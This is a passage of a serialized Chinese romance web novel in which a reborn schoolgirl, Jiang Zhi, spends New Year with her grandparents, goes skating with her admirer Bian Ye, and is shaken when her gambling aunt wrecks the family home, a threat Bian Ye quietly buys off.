姜栀回到家里,老太太看见她笑道:“那小伙子走啦?” “嗯……”应该吧。 她走进卧室准备收拾东西,却蓦然想到刚刚那通电话,思索片刻还是走到了窗边。 窗帘拉开一角,她看见熟悉的车。 边野就在旁边倚靠着,也不知道在想什么。 风好像变大了。 吹得楼下老旧的横幅猎猎。 这么不开心吗? 为什么不进车里呢,很冷的。 想到什么,姜栀在柜子里找了找,果然找到了去年带来的热水袋,小小一只,只有巴掌大。 她拿出来拍了拍,走去客厅装上热水。 爷爷奶奶都已经回房了,她放轻了步子走到门边,悄悄出去。 冷风吹得人耳朵疼。 边野呼出一口白雾,站直身子去拉主驾的门。 “边野!” 身后忽然传来一道轻软的声音。 他动作止住,回头。 昏暗的光线里,他看见小小一只的少女一路朝他跑过来。 越来越近。 像石子砸进湖里,溅起一片水花。 “喏。”姜栀跑得太急,轻喘着气把热水袋塞进他手里。 碰到他手的一瞬间被惊了下,“好冰,你快捂捂!” 热乎的温度隔着皮肤传来,他眼睫微动,低垂几分。 视线里,是个很粉嫩的热水袋。 “跑这么急就为了送我这个?”边野声音低低。 “嗯。”姜栀认真叮嘱他:“快回去休息,别在这儿吹风了,会感冒的。”说完,她挥挥手,转身小跑回去。 马尾在身后一摆一摆。 他握住热水袋,轻促地低笑一声,指腹缓缓摩挲。 姜栀刚回到房间就听到手机震动,是边野打来的语音电话。 以为他有什么事,她立即接通,“怎么了?” 对面半天没吭声。 姜栀眨着眼疑惑喊他:“边野?” “嗯,”他声音缱绻低磁:“晚安。” 第34章 第 34 章 大年初一。 姜栀睡了个回笼觉, 醒来已经快九点。 她挠了挠头发下床,从房间里出来,奶奶正在厨房洗菜, 看见她笑得很是和蔼, “知知醒啦, 锅里有甜粥和蒸的包子, 赶紧吃了, 别把胃饿坏了。” “好。”她眉眼弯弯, 眼底一片柔软。 安静吃完早饭, 姜栀回房间准备做寒假作业时,手机忽的震动。 她点开愣了下。 边野发了十来条消息。 从早上四点开始,给她拍没亮的天,初升的太阳,满是烟火气的街巷…… 地点都是她家附近。 姜栀起身往窗户边探头,果然发现楼下停了辆车。 是他昨天开的那辆。 在这待了一晚吗? 她放下手机, 跟奶奶说了声就跑下楼。 还没靠近, 边野已经降下车窗。 “睡醒了?”他声音温慈,嘴角勾起。 “嗯。”姜栀点头,在他主驾车门边停下,眼里浮出几分担忧和疑惑,“你昨晚一直在这吗?” “没。”他目光温和,“早上来的。” 听到这,姜栀忍不住松了口气。 “看来我在心里也不是一点份量没有,消息都来不及回就跑下来关心我。”边野神色调侃, “姜栀同学, 是不是喜欢上我了?” “你、你胡说什么呢!”她耳尖一瞬羞红,“既然你没事, 那就赶紧回去吧。” 她转身就走,手臂被边野眼疾手快地一把拉住。 “小气包。”他轻笑一声,“好了,说正事,我来一趟不容易,尽个地主之谊,陪我去个地方。” “什么?”她一脸茫然。 边野勾唇:“上车我就告诉你,不然你反悔怎么办。” 姜栀:“……” 出了小区,边野把手机递给她。 屏幕上是个溜冰点。 姜栀划拉着看了几眼,“你想去滑冰吗,但是我不没接触过这个,不太会。” “我会不就成了。” 一小时后。 偌大的溜冰场馆里,很多年轻人在这儿滑,看起来又帅又酷。 姜栀惊叹了会儿,有些羡慕。 看到边野拿着溜冰鞋过来,她有点儿局促,“要不还是你滑吧,我可以在外边陪你。我不会这个,带着我的话很累赘。” 玩也玩不好。 边野恍若未闻。 拿着鞋子在她面前蹲下,要去脱她脚上的。 “你要干嘛……”她一紧张往后一缩,边野的手就空着杵在那。 “帮你换鞋。”他一只腿跪在她跟前,一只腿撑着,微微仰头,漆黑的瞳孔被灯光映照得雪亮。 “我、我自己来吧。”边野万里挑一的长相,自进来就吸引了不少目光,姜栀咬着唇瓣,余光能扫到那些视线,耳根烧起来。 他轻笑,没容她拒绝。 姜栀坐在椅子上,面颊上的红晕像堆积起来的粉末。 她低垂着眉眼,看他仔细给她穿戴,忽然就想起来他们第一次见面的时候,那种渗人骨髓的冷漠,以及扑面而来的恶意。 明明就在半年前,却好像已经隔开了很远。 这是她第一次滑冰,穿了鞋子刚站起来脚下就开始打滑,身体不受控制地前后晃动。 姜栀惊得立马去抓栏杆,却被边野快一步拦住。 “抓紧我。”他示意了下自己的胳膊。 “……哦。”姜栀握上去,力度却很松。 边野挑眉,“没吃饭?用点力,不然等会儿摔了我可来不及拉你。” 进了溜冰场内,姜栀才知道有多滑。 她两手都紧紧抓着边野胳膊,窘迫不已,“要不然……我还是出去吧,我有点害怕。” 边野本来存了逗弄她的心思,没想到她这么紧张,放轻了声音:“我带着你,不会摔的,信我好吗?” 他眼里像蕴着一汪水,姜栀像是被吸住一般点点头,“好。” 边野面对着她,“伸手。” 她乖乖松了,朝他伸过去,被他稳稳握在手心里。 姜栀的手小小软软,像她这个人一样。 边野缓步往后退,慢慢带着她往前滑。 虽然龟速前进,但一圈下来,她精神松懈许多,眉眼弯弯:“好有意思啊。” “那现在我松开一只手,你一步一步慢慢抬脚往前,另一只手跟我借力。” “好。”姜栀搭在他手臂上,小心翼翼地往前。 “这不是滑得很稳很好吗?”边野声音戏谑,“学霸学东西就是快啊。” 她被说得害羞,脸颊更红。 像个柔软的水蜜桃,让人想啃。 边野喉结滚了下,“带你上点难度。” “啊?” 姜栀还没反应过来,已经被他带着快速滑动,她瞬间紧绷,但跟着他绕过两圈,发现也没有那么难,渐渐放松。 见她能稳住,边野缓慢松了手。 任由她在前面滑出去,跟在后面保持着短短的距离。 轻盈地身形落在眼里,边野拿出手机,想要给她拍照。 摄像视野里,一个年轻男生忽然闯进来。 速度太快,眨眼间冲过姜栀。 突如其来的猛撞,姜栀没有丝毫反应时间。 她眼前一眩,控制不住地撞向栏杆。 “姜栀!”他神色一紧,低吼着冲过去。 场内无数视线瞬间聚焦过去。 她刹不住,撞进了挡在她面前栏杆处的边野身上。 速度很冲。 少年闷哼一声,眉头紧皱,顾不上痛一把将她拉住。 手机“啪”的掉在冰面上,清脆响亮。 姜栀惊恐地看着他,懵了几秒后,赶紧问:“你、你怎么样?” 那一瞬间,她能清晰地感受到那股冲力有多大。 “还行。”边野轻喘了下,扶着栏杆站好,“暂时死不了。” 她眼底浮着无措,“我们不滑了,去医院看看好不好?” 边野低笑一声,胸口被撞的地方稍微缓解一些,“我身体很好,去什么医院。” 他弯身捡起地上的手机,一抬头就见她眼眶都红了,慌了手脚,“怎么了,吓到了?” 姜栀摇头,声音有点哽咽,“对不起,都是我不好,我不该滑的。” “跟你没关系。”他温声安慰,瞥了眼斜后方撞她的男生,眼底狠意一闪而过,“我真的没事,不用怕,知不知道?” “嗯……”姜栀眼睫低垂。 他心底无奈叹息,凑近几分,“别这么担心我,不然我真的会以为我有机会跟你在一起。” 姜栀瞳孔轻轻颤了下,对上他的视线又错开,声音闷闷的,“我们回去吧,或者我在外面等你。” 见她没直接反驳,边野愣了下,眼角缓缓溢开笑意。 “好,回家。” 到小区里已经临近中午。 下车前,姜栀神色担忧,“还疼吗?” 他轻笑勾唇,“你按按不就知道了。” 还有心思开玩笑,看来是真没事了。 姜栀解了安全带,刚要开车门想到什么又回头看他,“你下次如果要找我,发消息我没回的话,就打电话吧,我会接的。不要再在这里等这么久了,好傻的。” 话落,她下车小跑着回去。 边野反应了会儿,低低笑起来,胸口有点隐隐作痛,但比在溜冰场已经好很多了。 这顿挨得真值。 姜栀安安静静上楼,刚到门口就听见里面有摔东西的声音,面色一紧,赶紧插钥匙开门。 屋内地板上一片狼藉,爷爷奶奶一脸怒意。 “是你们逼着我来抢的,我给你打过招呼,谁让你油盐不进!”背着她的中年女人把墙上挂的全家福相框往地上重重一摔。 “今天不给我钱,别想完!” “你、你这个不孝女!”姜爷爷脸色铁青,咬牙切齿,上去推她,“你给我滚出去!” 女人一把甩开,“做梦!” 姜爷爷没站稳,往后一跌,姜栀心脏一紧,冲过去扶住,“爷爷!” “造孽,造孽啊!”老太太红着眼眶,浑身发抖。 “知知,你进屋,别在这儿待着,快进屋……”老两口把她往房间里推,姜栀却不肯,执意挡在他们面前。 在家里砸东砸西的不是别人,正是她姑姑姜若瑜。 “哟,你还敢回来?”她神色恶毒,“扫把星,姜家的罪人,你怎么还有脸出现在这!” “你跟你妈两个贱人,害死我亲哥,就应该去死!” 像扎心窝子的尖刀,在姜栀身上来回剜,鲜血淋漓。 她攥紧掌心,强忍着痛意让自己冷静,“走,不然我报警。” 姜若瑜冷笑,“报警?你报啊!你看看警察会不会听你的,我是他们的亲女儿,谁也别想赶我走!” “知知,这事我们来解决,你快进屋。”老太太在后面拉她。 姜栀眼神里带着安抚意味,“没事的奶奶。” 她拿出手机,目光坚定冷硬地盯着姜若瑜,“爷爷有心肌病,如果他有什么三长两短,你就是杀人凶手!你看警察是不是真的会不管。” 按下110,她还没拨出去就被姜若瑜打翻了手机,“啪”一声摔在地上,屏幕碎裂。 “少来威胁我!”姜若瑜瞪着眼吼出声,她看着这三人,环视着被自己砸得乱七八糟的家,冷哼一声,“今天我没时间跟你们在这儿耗,下次——” 她盯着老两口,恶狠狠道:“下次再不把钱给我,就一起死!” 话落,她摔门而出。 “嗬嗬——” 姜爷爷怒得两眼往上翻,气息紊乱急切。 “爷爷!”姜栀配合着奶奶赶紧把人放倒在沙发上,眼眶酸涩泛红。 “知知快!”老太太赶紧催她,“快去电视机下的柜子里拿药!” 给爷爷喂下速效救心丸后,姜栀不断地抚拍着他后背。 “爷爷,你好点没有……”她哽咽出哭腔。 他摇摇头,努力让气息平稳下来,“没事,没事的……知知别担心……” 姜栀吸了吸鼻子,强忍着泪。 “奶奶,”她忽然想起来那张病历单,有什么在脑子里呼之欲出,“姑姑是不是来了好几次,爷爷的病也不只这一次对不对?” 老太太握着姜爷爷的手,沉默了片刻后叹了口气。 “三个月前就开始闹,在外面输了很多钱,自己没钱了就问我们要,我们的养老金每个月也不算多,但还是拿出了一大半给她。” 老太太一脸烂泥扶不上墙的无奈,“可她贪心不足蛇吞象啊,她觉得我们给得不够多,我们藏着掖着,也不知道她从哪里知道你爸妈当时车祸赔了一笔钱,就盯上了这笔钱。” 姜爷爷一拳锤在沙发上,“她现在不达目的不罢休,把家里闹得鸡飞狗跳,我怎么就生了这么个不孝女!咳咳……” “爷爷——”姜栀连忙安抚,“我们搬走吧,用理赔给爸妈的那笔钱,一定能躲开的。”说完看向老太太。 老太太摇头,“没用的,她知道你在哪儿,已经拿你来威胁我们了,就算我们躲得开,那你呢,你怎么办?” “况且,”她眼底慈爱,“那笔钱是你的,等你长大了,我们就会交给你。” 姜栀不愿意,“钱我还可以再赚的,但是你们……” “好啦。”爷爷拍拍她的手,满是老茧和褶皱,“我和你奶奶落叶归根,在这里住了几十年了,走不了了。” 老太太牵着她,把她推进了房间,“别担心了,我和你爷爷会好好的。你现在好好学习才是最重要的,知道吗?” “奶奶……”她忍不住哽咽。 “快进去吧。”老太太慈爱地摸摸她的脸,关上了门。 她靠在门背上,赶紧打开手机,输入姜若瑜的号码。 一通、两通…… 十几通下来,全是拒接。 偌大的无力感像爬虫似的密密麻麻铺满血液,她握着手机蹲下来,视线盯着那十几通打不出去的电话记录。 啪嗒—— 一滴泪掉下来,砸在屏幕上,花了字样。 姜栀默不作声地擦掉,可是越来越多,越来越多。 她根本擦不干净。 爷爷奶奶平时为人和善,从不与人争执冲突。 可如果是姜若瑜呢。 她记得前世他们说的,说她爷爷是从高楼上摔下来的,抢救也不及时,就死了。 先前一直想不通爷爷奶奶为什么会那么快过世,可今天见到姜若瑜这般疯狂的模样,真相几乎不言而喻。 爷爷奶奶一走,那所有的钱都会属于她。 姜栀捏着手机的指尖发白。 为什么所有的事情都在她最没有能力的时候,为什么要让她重生一次还要眼睁睁地看着最亲最爱的人离开。 她这样的人,是不是注定就该孤独。 姜若瑜有一句话也许说得没错,她是个灾星。 如果不是她那天想去外滩吃新开的餐厅,爸爸妈妈是不是就不会出车祸了,爷爷奶奶也不会因为这笔理赔金出事。 是她,都是她的错…… 姜栀无力地坐在地上,脑袋深深埋在臂弯里,紧咬着牙关不敢哭出声,身体却控制不住地发抖。 手脚冰凉。 手机忽然响起,她缓慢抬头,哭得太久眼前缺氧发昏,脑袋也很疼。 擦去眼边的泪,边野二字落在视线里。 她迟疑地挂断,点开了微信,可刚打了一行字电话就再度打过来。 姜栀愣了下,呼了几口气,努力平稳气息和状态,缓了缓才接通。 “怎么现在才接?”他声音温和,含着笑,漫不经心的。 她扯了扯嘴角,说得很慢,“没……” 边野靠在主驾座椅上,把玩着摆件的手顿了顿,敏锐地察觉到她压抑的情绪,“姜栀……”他停了一秒,转移话题道:“我现在闲着也是闲着,给你讲个笑话,听不听?” “嗯。”她低低地应了声,略带一些鼻音。 他拿了手机现场搜索。 “从前有个人偷了个苹果被警察抓了,警察要关他一个月,他非常生气,说自己就偷了一车苹果,至于吗?警察白他一眼,看傻子似的说:以前有只猴子偷了一只桃子就被关了五百年。” 话落,对面沉默着没出声。 他皱了皱眉,有点笨拙地咳嗽了声,“好像是有点不好笑。” 姜栀低垂着眼睫,看着鞋尖,“嗯,好冷。” “那我再给你讲一个吧。”他迅速划拉着屏幕,试图找到个好笑的,但一个没看见。 算了。 他没好气地退出去,靠在椅背上,“我小时候很喜欢玩滑滑梯,但有一次裤子划破了我不知道,底下一群小朋友在那哈哈大笑,我还以为是自己滑滑梯的技术很好,晚上得意得多吃了一碗饭。” 数秒后,没听到她声音,边野轻吸一口气,“还是不好笑吗?” 他抓了把头发,准备再讲,一声轻笑从手机里传出来。 “你小时候一定很可爱。”她嗓音软软,带着很浅的鼻音。 “老子从来都不可爱。”感受到她情绪似乎好转,边野挑眉。 他透过车窗去看那栋老旧的楼,眉眼又沉了下来,所以……到底是发生了什么事才哭。 “边野。” 姜栀靠在门背上,脸上泪渍干得差不多了,放空地望着天花板,“你还没回去吗?” 他淡淡:“一会儿。” “要是这么想我,我也不介意你下来看看。” 她后知后觉地感受到那个冷笑话说出来的原因,回他的话牛头不对马嘴,“你人真好。” “给我发好人卡?”边野低笑,“收回去,以后也别给我发。” “……哦。”她乖乖应下。 “那——”姜栀见他不说话,沉默了几秒也不知道该说什么,“我先写寒假作业了。” “嗯。” 挂了电话,边野指腹摩挲着手机侧沿,沉思了片刻后拨了个电话出去,“帮我查点东西,具体的我发给你。” 随后发送了个定位过去,连带着小区名。 做完这些,他向五楼看了眼。 驱车离开。 姜栀对着寒假作业看了半天,怎么也没写进去。 重新打开手机,电话打不过去,她就给姜若瑜的号码发了条短信。 麻将馆里乌烟瘴气,姜若瑜收到短信时,不屑地瞥了眼,连手机都没开锁,摸了把牌丢出去,“二筒。” “哟,胡了!” 牌友笑眯眯地把手里牌一推,招呼着:“给钱给钱!” 姜若瑜一脸不爽地把钱丢过去,“晦气死了,都输一下午了!” “再来再来!” 晚上九点多,她拎着个劣质包从麻将馆里出来,嘴里骂骂咧咧:“不就是运气好连胡了吗,老娘要不是钱不够,打到你认输哦——” 姜若瑜踩着高跟鞋下台阶,一辆车“唰”地一下窜到她面前,差点给她吓得魂飞魄散,输了牌的火气一瞬间冲起来。 “你怎么开车的啊,要是我有个三长两短——” “姜若瑜?” 边野降下车窗,脸色冷淡地睨着她。 “你谁啊?”她警惕地往后退。 他沉着脸下车,漆黑的瞳眸像不透气的沼泽,一步一步逼近过去。 “你谁啊?”姜若瑜皱紧眉,转身就要走。 他拿出一张支票,“你不是缺钱吗,一百万。” 她步子一顿,狐疑地伸手去拿。 边野手一松,支票就轻飘飘地落地,她赶紧蹲下身捡起来。 对着票面看了许久,姜若瑜才发现这是真的,立马收进包里,饶有兴味地上下打量他,“你还是个学生吧?看着跟我侄女差不多大。” 她看了眼他的车,“啧啧,这是豪车吧,看着就贵。” “说吧,有什么事儿求我,我考虑考虑能不能答应你。” 边野冷眼盯着她,声音没半点温度,“一百万,买断你跟姜家的关系。” “什么?”她拧眉。 “听不懂人话?”他眼底透着躁意。 姜若瑜不怀好意地盯着他,恍然大悟,“我说怎么这么阔绰呢,你喜欢我侄女姜栀对吧?可惜了,一百万就想打发我,你这车都不止一百万吧?” “所以?”边野面色阴沉。 她轻咳一声,“至……至少五百万!” “要没这个数,别想我答应你。” 他脸色淡淡,拿起来手机,当着她的面关闭录音,“敲诈知道判几年吗?这么多钱都够你牢底坐穿了。” 姜若瑜脸色大变,“你少炸我,我又没拿你的钱!” “是吗?如果我报警丢了一百万呢,你觉得警察是会信你,还是信我?”他慢条斯理地质问,“以你的家底突然多出一百万,你觉得你能守住?” 姜若瑜紧捂住包,又觉得烫手又不想这么大笔钱就这么还回去,“是你给我的!我可没有威胁你。” 他哼笑,眸色阴冷,“这话你跟警察说。” “还有,如果那些追债的知道你有这么多钱,你觉得他们会放过你吗?” “你到底想怎样!”姜若瑜咬牙切齿。 “我说了,”他睨着她,“再也不去找姜栀和她爷爷奶奶,见好就收。” 他拿出份合同丢给她,“我这人脾气不好,我不爽,谁也别想快活。字签了,永远离开这个城市,钱就是你的,否则——” “我签!” 姜若瑜气得青筋都在跳,签名的笔尖都快要戳破纸张。 “行了吧!”她把东西往他车上一摔。 边野撇了眼,淡淡吩咐:“还没完。” “给姜栀打电话。” 姜若瑜咬牙,只能乖乖拨通,照着他的意思说:“我以后都不会再来找你们,你们也别来烦我!” 随后迅速掐了电话。 姜栀一脸莫名其妙,过了好几秒才反应过来。 再打过去,就是关机。 好奇怪。 姜栀放下手机。 算了,明天去姑姑家当面问吧。 拍拍脑袋,她拿出一张新的卷子开始做。 一个多小时后,边野的电话打过来。 姜栀接起,“喂?” “下楼。” 她看了眼时间,已经十一点多了。 这么晚怎么来了? 姜栀透过窗户往下看了眼,果然看到深夜里那抹炽亮的车灯。 迟疑了两秒,她还是换上外套和围巾,轻手轻脚出门。 外面温度很低,呵气成雾。 姜栀一路小跑过去,毛茸茸的像个小兔子。 他车窗降下来让她上车。 姜栀乖乖坐到副驾上。 “这么晚是有什么事吗?”车里温度适宜,温暖如春,她被冷意侵袭的手和脸舒服多了。 “别动。” “啊?”她愣住,但乖乖的没动。 边野温和的视线落在她脸上,双眼很明显肿了,整个人好像都很憔悴,少了精气神。 所以那会儿哭是因为姜若瑜那个女人吗? 如果白天他送她上楼,应该就不会那么无助受欺负了。 想到这,他心口沉了沉,有种说不上来的压抑。 “怎么了,我脸上有什么东西吗?”她用手摸了摸自己的脸。 边野瞥见她握在手里的手机, 虽然只有一个角,但他看到了碎裂的屏幕。 边野拧眉,沉了口气。 “没。” “那你怎么一直……” 她话没说完,被边野一把拉进怀里,怔忪在那儿,两手僵着都不知道往哪儿放。 “边野,你怎么了?”她试图挣扎,却被他抱得很紧。 姜栀以为他是遇到什么伤心事了,就没问,也没再挣扎。 她犹豫了下,轻轻拍着他的背。 片刻后,边野松了手。 问她:“手机怎么坏了?” “啊?”她低头看了眼碎了屏幕的手机,局促地往后藏了藏,“我……我没拿稳摔地上了。” “对不起啊,把你送我的东西摔坏了。” 边野低眉轻笑,“有没有人告诉你,你很不会撒谎?” 姜栀愣住,耳根和脸颊迅速蹿红,烫得厉害,“我……”她错开视线,脑袋低下来。 他从后面拿出个小盒子,四面透明。 “拿着。” 她抬头,看到里面小巧精致的巴掌大小蛋糕愣了下。 “让你拿着就拿着,愣着干什么,把我当免费小工?”他眉梢微扬。 姜栀赶紧接过,弱弱说了句:“我已经吃过了。” “那就放冰箱,明天吃。” 她乖乖点头,“哦。” 边野看着她觉得可爱得要命,忍不住凑近。 “你、你干什么?”她拿起蛋糕盒子挡在脸前,眨巴着眼,亮晶晶的。 “如果遇到搞不定的事,就来找我,知道吗?”他声音温和,眸色认真,“姜栀,我一直在,任何你需要的时候,我都会在。” 姜栀细长的眼睫轻颤了下,握着蛋糕盒子的手微微收紧。 那股平静了许久的酸涩好像又卷土重来,在胸口回荡。 “记住了吗?”他轻声问。 她迎着边野的眼神,脑袋空白了一瞬,“……嗯。” “上去吧。”边野坐直了身体,将距离拉开。 “那,你早点回去。” “知道。” 她拎着小蛋糕下车,关上车门后,冲他挥了挥手。 少女深一脚浅一脚地往回走,毛茸茸的身影在昏暗的光线下朦朦胧胧。 边野靠在驾驶座里,勾了勾唇,漆黑的眼底溢出微漾的波澜。 回到家里,姜栀轻轻关上门。 她走到冰箱前,准备把蛋糕放进去时,脑子里忽然响起那道低磁的声音。 ——“我一直在,任何你需要的时候,我都会在。” “知知,你怎么待在冰箱门口?是饿了吗?” 身后忽然传来奶奶的声音,吓了她一跳。 “啊……没、没有……”姜栀尴尬地把小蛋糕塞了进去,“我睡了奶奶,晚安。” 跑回房间,她靠在门背上,感受到逐渐烧热的脸颊和耳朵。 还有。 怦怦直跳的心脏。 第35章 第 35 章 次日一早, 姜栀吃完早饭,找了个借口就下楼了。 她要去找姜若瑜。 如果要钱,她会想办法兼职给, 但绝对不可以再来找爷爷奶奶。 走出单元楼, 一道喇叭声响起。 姜栀抬头, 看见不远处边野的车。 昨天回去那么晚, 今天这么早就来了吗。 怎么好像来了这里后, 他就一直在围着自己转。 但今天是特例。 姜栀稳步走过去, 声音温软:“我今天有事要出门, 就不能陪你了,你先回去吧。” “去哪?”他淡淡挑眉。 “去……”她顿了顿,“去一个亲戚家,很无聊的。” 边野低笑,“还没去怎么就知道无聊,上车。”他往外倾了点身, “你要不上来, 我就跟你一路,影响到别人我可不管。” 姜栀:“……” 好不讲道理的人。 她拗不过边野,只好上车。 “早饭吃了吗?”边野踩下油门,温声问她。 “嗯,奶奶煮了粥。” “可我没吃。”他瞥了她一眼,把车开到小区外的小餐馆前。 边野下车,看她还待在车里,挑眉:“下来陪我吃个早饭。” 她抿了抿唇, 有点犹豫。 “真这么狠心啊?”他懒散地倚靠着车门, 眉眼间含着浅淡的笑。 “……没。”姜栀乖乖下车。 见他往那家面馆走,她硬着头皮跟上去。 这些都是熟人, 难免要问点什么。 “老板,来碗面。” 边野回头看了眼小跟班,勾唇道:“再来碗豆浆。” 早上人多,只剩一个角落里的位置。 姜栀眼尖,刚要招呼他过去,就见他眉头蹙了下。 “要不……换个地方?”她试探问。 边野抽了纸巾擦拭桌椅,又给她也擦了擦,“坐吧。” 姜栀坐在那儿,有点局促。 等老板把面和豆浆送过来时,看见她惊讶一瞬,“知知?”随后目光又落在她对面的少年身上,来回游移两秒才笑着道:“还是第一次见知知带人回来,这位是?” “男朋友。”他漫不经心瞎扯。 “啊?”老板一愣,看向姜栀,又很开放地笑了笑,“知知交男朋友——” “不是!”姜栀及时打断,她暗戳戳瞪了眼幸灾乐祸的始作俑者,红着脸解释,“他不是我男朋友,他这人就是很爱开玩笑,陈叔您别放心上。” 陈老板会意一笑,“你们小年轻我都懂,都懂。” “慢慢吃,有需要叫我。” 陈老板一走,边野没忍住噗嗤一声笑出来。 “边野。”她不满地皱眉。 “嗯?”他噙着笑。 “不许笑了!”姜栀脸颊红得厉害,耳根也烧得滴血。 “嗯,不笑。”他把豆浆推到她面前,“多少喝点,就当陪我。” 她捧着碗,咬了咬唇,“你以后别当着别人面乱说了,这地方都是邻居,互相都认识。” “你这么说,爷爷奶奶万一知道了——” “嗯,我就是想拐走他们孙女。”边野笑得坦然,“你爷爷奶奶要是不高兴,就让他们来打断我的腿。” 姜栀:“……” “打死你好了。”她拧眉没好气瞪他一眼,埋头小口喝豆浆。 “这么害羞可不行。”边野低笑一声,拿过筷子开始吃面。 “什么?”她没听清楚,茫然抬头。 边野没应她,问她:“想好哪天回去了吗?” 她咽下嘴里的豆浆,“大概会在寒假快结束的时候吧。” “这么晚?”他蹙眉。 “我回去的话也没什么事,在这里陪着爷爷奶奶也挺好的。” “就不管我死活了?”边野气笑。 “啊?”她眨巴着眼,一脸无辜。 边野拿她没办法,“嗯,你想待多久都行。” 见他不再说,姜栀垂眸看着手里豆浆。 指尖无意识的摩挲着碗壁。 如果姜若瑜这事儿能解决的话,她或许可以早点回去吧。 到姜若瑜家楼下时,已经是一小时后。 也是老破小的格局,楼下围着好几个老太太,在那儿摘菜晒太阳。 姜栀正想上去,被一个老太太看见,喊了一声。 “知知是哇,来找你姑姑哇?” 她点点头。 “你不知道哇,你姑姑昨儿夜里就搬走了,走得着急忙慌,跟见了鬼似的。”老太太说着摇摇头,“叫了个大货车嘞,都快把家底搬空了。” “问她去哪儿,她也不说,瞧着跟躲瘟神似的。” 另个老太太“啧啧”出声,“谁知道呢,一天到晚就泡在麻将馆里赌牌,还带不三不四的男人到家里,我都见过好几个了,谁知道是不是得罪人了。” 姜栀愣住。 “知知啊,你是个好孩子,但你这个姑姑真不是个东西,离她远点吧,搞不好哪天就被她坑了。”老太太一边摘菜一边吐槽,“按理说这是你们家里的事,我们这些外人不该多嘴的,但她这人真是烂到底了。” 她看了眼楼上,面色凝重,“那您知道,她去哪儿了吗?” 老太太摇头,“那我怎么知道,她跟我们这群人都处不来的哇,谁知道跑去哪个鬼地方了,你最好也别去找她了。” “哎,造孽啊……” 姜栀呆在原地,回头看他。 “别着急,先给她打个电话。” “好。” 她摸出手机,给姜若瑜打电话。 一个、两个…… 直到第十通没打通后,那种恐慌惧怕和无力再度涌上来。 “怎么办,找不到她,怎么办……” 她还在坚持打过去,可声音却已经开始哽咽。 “姜栀?”他拧眉。 “边野,我是不是找不到她了?”她眼眶忍不住泛红。 找不到姜若瑜,那爷爷奶奶怎么办,是不是下一次回来就是他们的葬礼了。 不。 不可以。 她眼前开始模糊,吸了吸鼻子。 爷爷奶奶不可以被姜若瑜害死。 边野握住她手腕,“为什么一定要找到她?” 她眼睫颤动,“如果找不到,万一……万一她再来找爷爷奶奶,我不在的话……” “不会的。”他冷静迅速地打断。 “姜栀,你听我说。”边野看着她泛红的眼尾,脸色肃穆,“我会帮你看着的,你别怕。” “如果她敢对你爷爷奶奶动手,我会第一时间知道。” 姜栀愣住,眼底泪光盈盈。 “可是……”她害怕,她好不容易重生一次,就这么一次机会。 她没法接受再一次失去爷爷奶奶。 边野忽然有点后悔。 他解决的方法太粗暴了,是很好的解决了姜若瑜,可是没有安抚到她,还害她这么胆战心惊,这么恐惧。 至于为什么不告诉她一百万的事……如果她知道,只会有更重的负担。 “知知。”他声音低下来,指腹轻柔地抚去她眼角的泪。 “我会保护好爷爷奶奶,他们是你很重要的人,而你——”边野低磁开口:“你也是我这辈子最重要的人。” 难言的酸涩从心底涌起,随之而来的,还有一点一点塌陷的心口。 “谢谢……谢谢你边野。” 她声音里还带着点轻微的颤意。 也许,她可以试着信任他。 她微微仰头,泪盈盈的样子像极了被欺负的毛兔子。 可爱又令人心软。 “我会报答你的。”她眉眼间铺满认真。 边野缓慢勾唇,“真要报答的话,不如以身相——” 她及时捂住他嘴,红着耳道:“快别说了。” 他轻笑一声,“嗯,不说了。”话落,就着她的手亲了下。 姜栀眼睫一颤,被烫到似的缩回手。 她看着眼前高大的少年,五味杂陈,脑子里乱得跟毛线团一样,扯都扯不开。 “……我们走吧。” 她错开视线,先一步走在他前面。 今天难得有太阳,温温软软地落在身上。 无风,很暖。 姜栀走在前面,缓缓慢慢地弯起唇角。 这天后,一直缠着她的少年忽然就从生活中消失了。 她透过窗户不时往楼下看,原来那个位置上总停着边野的车,但现在空空荡荡的,好像少了点什么。 但明明,从一开始就是空着的。 姜栀从抽屉里拿出手机,点开了边野的微信,却停在对话框上不知道该说点什么。 数秒后,还是掐灭了屏幕放了回去。 寒假一转眼就过了一大半。 姜栀很早就把作业做完了,已经开始复习下学期的知识。 午饭过后,她忽然接到边野的电话。 握着手机小跑进房间里,关上了门她才接通,“喂?” “小没良心的,我回来十来天都不知道给我打个电话?” 姜栀有点尴尬,“对不起,我……” “道什么歉,”他径直打断,“以后不许动不动就道歉。” “嗯。”她低垂着眼睫,声音轻轻。 “那……你现在怎么样?” 边野叹了口气,脸上漫不经心的,嘴上却故作低迷,“也没怎么样吧,就是摔断了手,还好,没死,现在在医院躺着。” 姜栀顿了下,紧张又担心,“你怎么了?出什么事了?” “不是什么大事,怎么,要回来看我吗?” 见她没第一时间说话,边野也习惯了,“开玩笑的,你就在家好好陪爷爷奶奶,假期结束后跟我说,到时候我来车站接你。” “好……”她低声应下。 挂断电话后,姜栀在床边坐了会儿,开始收拾东西、买车票。 老两口看到,不由惊讶。 “知知,这就要回去了吗?不在家多待会儿了吗?”老太太正在打扫卫生,看她拎箱子出来,忍不住问。 姜栀点点头,“嗯。有点事要先回去。” “爷爷奶奶,你们一定要照顾好自己的身体,如果有哪里不舒服一定要告诉我。”她脸色认真,“不然我事后知道会很担心的。” “好好好。”老太太笑着答应。 “放心吧知知,我和你奶奶都会好好照顾自己的。”姜爷爷面色慈祥。 再三叮嘱后,姜栀拉着行李箱踏上了回宿城的路。 回来之前她没想过会这么早回去,以至于看到宿城熟悉的路标时仍有一瞬的怔忪。 到医院的时候,已经是傍晚。 姜栀把行李寄存在楼下,背着书包去了住院部。 按照护士的指引,她一路往16楼VIP病房过去,确定病房号,她轻轻敲门。 “进。” 里面传来懒散熟悉的声音,她推门进去。 看到靠躺在病床上的少年,右手打着石膏,包扎得很厚实。 姜栀一惊。 没听到靠近的动静,边野从平板上抬头。 看见姜栀的瞬间,他震惊了一秒才反应过来,“你怎么……不对,什么时候出发的?” 她轻轻关门,“接到你电话没多久。” 走到床边坐下,她看着他的手,面色有些凝重,“你的手……怎么回事?” 边野低眸撇了一眼,没在意,“就是被车擦了摔了一下,不是什么大事。” “很痛吧。”她紧着眉头问。 他刚想否认,话到嘴边又咽了回去,故意叹了口气,“疼也没有办法,谁叫我倒霉呢。” 她低眸看着他打石膏的手,一脸忧心。 “逗你的,这么紧张干什么。”边野低笑一声,“男人流血不流泪,伤口是男人勋章懂不懂?” 姜栀:“……” “好中二。” 她低声嘀咕。 “说我什么坏话呢。”边野挑眉看她,“我饿了,想吃苹果。” “哦。”她放下书包,乖乖从柜子上拿过苹果,慢吞吞削,“你晚上一个人在这吗?” 